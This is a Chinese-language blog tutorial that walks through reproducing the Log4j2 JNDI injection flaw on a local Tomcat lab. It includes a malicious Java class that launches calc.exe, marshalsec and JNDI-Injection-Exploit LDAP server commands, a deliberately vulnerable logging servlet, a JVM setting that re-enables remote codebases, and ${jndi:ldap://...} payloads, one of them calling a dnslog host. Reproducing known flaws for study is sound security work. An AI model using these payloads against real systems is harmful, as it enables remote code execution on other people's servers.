Log4j2漏洞复现(小白向教程)

最近,出来了个Log4j2的漏洞,安全圈跟过年了一样,于是也跟着热闹热闹。

Log4j2作为一个开源的Java日志记录插件,被众多项目引用,因此,当其漏洞出现时,影响的范围也极大,可以算是继Python的request库之后的又一重大供应链攻击了。

对其漏洞进行了复现和分析,这里做个记录。

实验环境

  • Windows 10
  • jdk 1.8.121(理论上JDK 6u211、7u201、8u191之前的版本都行)
  • Tomcat v9.0
  • marshalsec(用JNDI-Injection-Exploit也可)

环境搭建

jdk安装

下载指定版本的jdk,双击安装即可,记得勾选将Java添加到path中这个选项,完事之后,在命令行窗口输入java -version查看版本号,出现如下所示界面即为安装成功:

安装成功

maven安装

去官网https://maven.apache.org/download.cgi下载maven:

下载maven

然后解压,放到自己电脑的安装目录,然后新建一个系统变量,名字为MAVEN_HOME,内容为安装目录(放到哪就填哪):

新建系统变量

最后在命令行窗口输入命令mvn -v测试一下:

maven安装成功

Tomcat安装

在官网https://tomcat.apache.org/下载对应版本的Tomcat即可,这里因为用的jdk1.8,所以下载Tomcat 9.0:

下载Tomcat

这里选择了其直接运行安装的版本:


Tomcat下载

直接双击安装即可,其中除了端口号需要指定(默认也可),以及选择安装目录为上文jdk的安装目录外,其他默认即可:


选择目录

Eclipse安装&配置Tomcat

直接去官网下载免安装Eclipse免安装版本,然后解压即可

解压完成之后,双击eclipse.exe打开软件,随意选择一个文件夹为项目地址,然后启动即可。

eclipse启动之后,需要对其环境进行配置。点击上方Window->Preferences->Java->Compiler,选择Compiler Compliance level为对应的Java环境,这里选择1.8

设定编译器

Window->Preferences->Java->Installed JREs中,点击右边Add...按钮添加本机的jdk:
添加本机jdk

然后点击上方Window->Preferences->Server->Runtime Environment->Add...添加Tomcat服务器,在弹出的对话框中选择Apache->Apache Tomcat v9.0,然后点击Next

配置Tomcat.png

在弹出的对话框中点击Browse...按钮,选择之前Tomcat的安装目录,然后JRE选择jdk1.8.0_121,点击Finish即可:

选择本地Tomcat

然后在对话框中选择我们刚刚添加的Tomcat之后点击下方应用按钮:


应用Tomcat配置.png

新建项目

完事之后,新建一个Java web项目,依次点击上方File->New->Dynamic Web Project

新建项目.png

然后输入项目名称,选择目标运行环境,这里选择Tomcat v9.0,其他默认即可,然后点击Finish完成创建:

项目创建.png

在项目处鼠标右键,选择Properties,按照下图所示设置Java环境:

设定Java环境1

设定Java环境2

然后点击上方Window->Show View->Servers创建服务,会在下方出现链接,提示No servers are available. Click this link to create a new server...

创建服务.png

点击该链接,在弹出的对话框中选择Tomcat 9作为服务器,点击下一步:


新建服务.png

然后点击我们的项目,点击Add >按钮,添加到右边的框中完成配置,最后点击Finish按钮:

选择项目

完事之后,会在下方出现我们添加的服务,鼠标右键单击服务,选择Start启动服务:

启动服务.png

这个时候报了个错,说是端口被占用:


报错.png

问题不大,双击服务,在上方图示位置配置一下端口即可:


配置端口.png

攻击复现

这里有两种复现方式,分别是使用marshalsec和JNDI-Injection-Exploit进行LDAP服务的搭建以进行复现,其功能对比如下:

marshalsec JNDI-Injection-Exploit
是否需要自己编写恶意类代码
是否可以自定义恶意类名
是否可指定LDAP服务端口 是,可在命令行指定端口 是,但需更改源码,之后重新编译打包
恶意类代码是否需要搭建Web Server

总的来说,使用marshalsec搭建LDAP服务进行复现能够更加自由,但所需步骤也更加繁琐;相比之下,JNDI-Injection-Exploit封装程度更高,复现起来更加简单,但不如marshalsec能够实现的功能丰富

使用marshalsec搭建LDAP服务

恶意类编写&上线

首先编写一个恶意类:

public class Exploit {
    public Exploit(){
        try{
            String[] commands = {"calc.exe"};
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void main(String[] argv) {
        Exploit e = new Exploit();
    }
}

将该文件保存为Exploit.java,名称得和类名一致,然后打开文件所在根目录的命令行窗口,运行命令编译该类为.class文件:

javac Exploit.java

完事之后会在当前目录生成Exploit.class文件:

编译成功

在命令行窗口运行命令启动一个web服务,以方便该类的下载:

python3 -m http.server 8800
启动web服务

可以使用浏览器访问看看效果:


浏览器访问

启动LDAP服务

下载marshalsec,在其根目录打开命令行窗口,执行以下命令打包为jar包:

mvn clean package -DskipTests

完了之后会在当前目录生成一个target文件夹:

打包完成

其中就是我们需要用到的jar包:


jar包

然后运行在当前目录运行命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8800/#Exploit"

然后报了个错,说是端口被占用:

端口被占用

使用命令netstat -ano查看了一下,并没有找到该端口被占用的情况,于是干脆给marshalsec指定端口,使用以下命令运行:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8800/#Exploit" 8801
使用指定端口运行marshalsec

因此,payload即为:

${jndi:ldap://127.0.0.1:8801/Exploit}

使用JNDI-Injection-Exploit搭建LDAP服务进行复现

首先下载JNDI-Injection-Exploit源码,由于本机1389端口依然被占用,所以需要更改JNDI-Injection-Exploit-master\src\main\java\run文件夹下的ServerStart.java文件的源码内容:

更改ldap端口

然后使用maven打包:

mvn clean package -DskipTests

完事之后出现target目录,其中就有我们需要的jar包,在target目录下运行命令启动ldap服务:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A "127.0.0.1"

其中,-C后面的为想要执行的命令,-A后面的为服务运行的地址,也就是本机地址,由于攻防都在同一机器上,就没有使用公网IP:

运行JNDI-Injection-Exploit

由于我们使用的为jdk1.8,因此payload也就为:

${jndi:ldap://127.0.0.1:8176/9e4fb5}

后面的步骤使用的marshalsec进行复现,不过如果使用JNDI-Injection-Exploit,也只需要更换payload即可,这两个工具都只是为了搭建ldap服务,编写恶意命令而已

启动Log4j2

在之前创建的项目处右键单击,选择新建servlet:


新建servlet

然后输入包名和servlet类名即可:


servlet配置

然后复制粘贴内容如下:

package com.dubito;

import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;



@WebServlet("/Log4j2Servlet")
public class Log4j2Servlet extends HttpServlet {
    private static final long serialVersionUID = 1L;
    private static final Logger logger = LogManager.getLogger(Log4j2Servlet.class);
    /**
     * @see HttpServlet#HttpServlet()
     */
    public Log4j2Servlet() {
        super();
        // TODO Auto-generated constructor stub
    }

    /**
     * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
     */
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // TODO Auto-generated method stub
        response.setContentType("text/html");
        response.setHeader("Content-Type", "text/html; charset=utf-8");
        System.out.println(request.getQueryString());


        // Hello
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>Hello World!</h1>");
        out.println("</body></html>");
    }

    /**
     * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
     */
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // TODO Auto-generated method stub
        String name = request.getParameter("aaa");
        System.out.println(name);
        logger.error(name);
        response.setContentType("text/html");
        response.setHeader("Content-Type", "text/html; charset=utf-8");
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>Got it!</h1>");
        out.println("</body></html>");
    }
}

其中,在doPost函数内,设定使用参数aaa接收用户输入,然后使用logger.error()打印用户输入的字符作为日志信息,也就是在这个函数中,Log4j2存在命令执行的漏洞,可以使用形如${}的字符串调用Lookup以执行命令
完成之后,会发现eclipse报错,这是因为没有导入包的缘故。

官网下载Log4j2的包:

下载Log4j2

解压之后会出现好多jar包,然后将jar包拖到src->main->webapp->WEB-INF->lib文件夹内,然后在弹窗中选择Copy files,最终结果:

拖入jar包

然后项目处右键,选择Build Path->Configure Build Path...

构建path

在右侧选择Libraries,点击Add jars...添加jar包:
添加jar包

然后启动服务:


启动服务

浏览器访问一下,发现服务构建成功:


构建成功

然后使用hackbar发送payload:
${jndi:ldap://ds5bia.dnslog.cn}

其中的地址为dnslog申请的地址:


hackbar发送payload

发现报错java.lang.IllegalArgumentException: 在请求目标中找到无效字符。有效字符在RFC 7230和RFC 3986中定义

报错

这是由于请求的参数包含特殊字符无法被解析,于是编辑server中的server.xml文件,将以下代码加入到图示位置:

 relaxedPathChars="{}[],%/" relaxedQueryChars="{}[],%/"
添加允许的字符

然后再运行一遍,发现dnslog成功回显:


dnslog复现成功

然后使用以下payload进行RCE:

${jndi:ldap://127.0.0.1:8801/Exploit}

发现报错:

RCE报错

显示Reference Class Name: foo,这是由于jdk1.8.121-191的版本开启了安全选项(1.8.191及其以上的版本限制更加严格,可能导致复现失败,建议采用文章开头推荐的版本),于是在源码中进行设置,允许远程URL:

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
设置属性

然后再次运行,进行RCE,发现成功:


RCE成功

PS:如果发现上述问题还是没有得到解决,请仔细核对下图所示的地方查看jdk版本是否符合要求(即是否为JDK 6u211、7u201、8u191之前的版本):


查看运行环境

如果不是的话,请参考前文eclipse环境配置处分别配置eclipse的Java编译器环境、系统环境、服务运行环境为符合条件的jdk。

如果所有环境配置完毕,但上图位置显示的环境还是不对,重新建项目,再来一次就可以了

如果环境对了,dnslog复现成功,但使用插件复现不成功,请确认端口一致性:


端口一致

如果端口确保一致,但请求链接cmd窗口依然没有更新,可以尝试在窗口按一下enter键,有可能是因为长时间没有操作窗口卡了

参考资料

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 211,123评论 6 490
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,031评论 2 384
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 156,723评论 0 345
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,357评论 1 283
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,412评论 5 384
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,760评论 1 289
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,904评论 3 405
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,672评论 0 266
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,118评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,456评论 2 325
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,599评论 1 340
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,264评论 4 328
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,857评论 3 312
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,731评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,956评论 1 264
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,286评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,465评论 2 348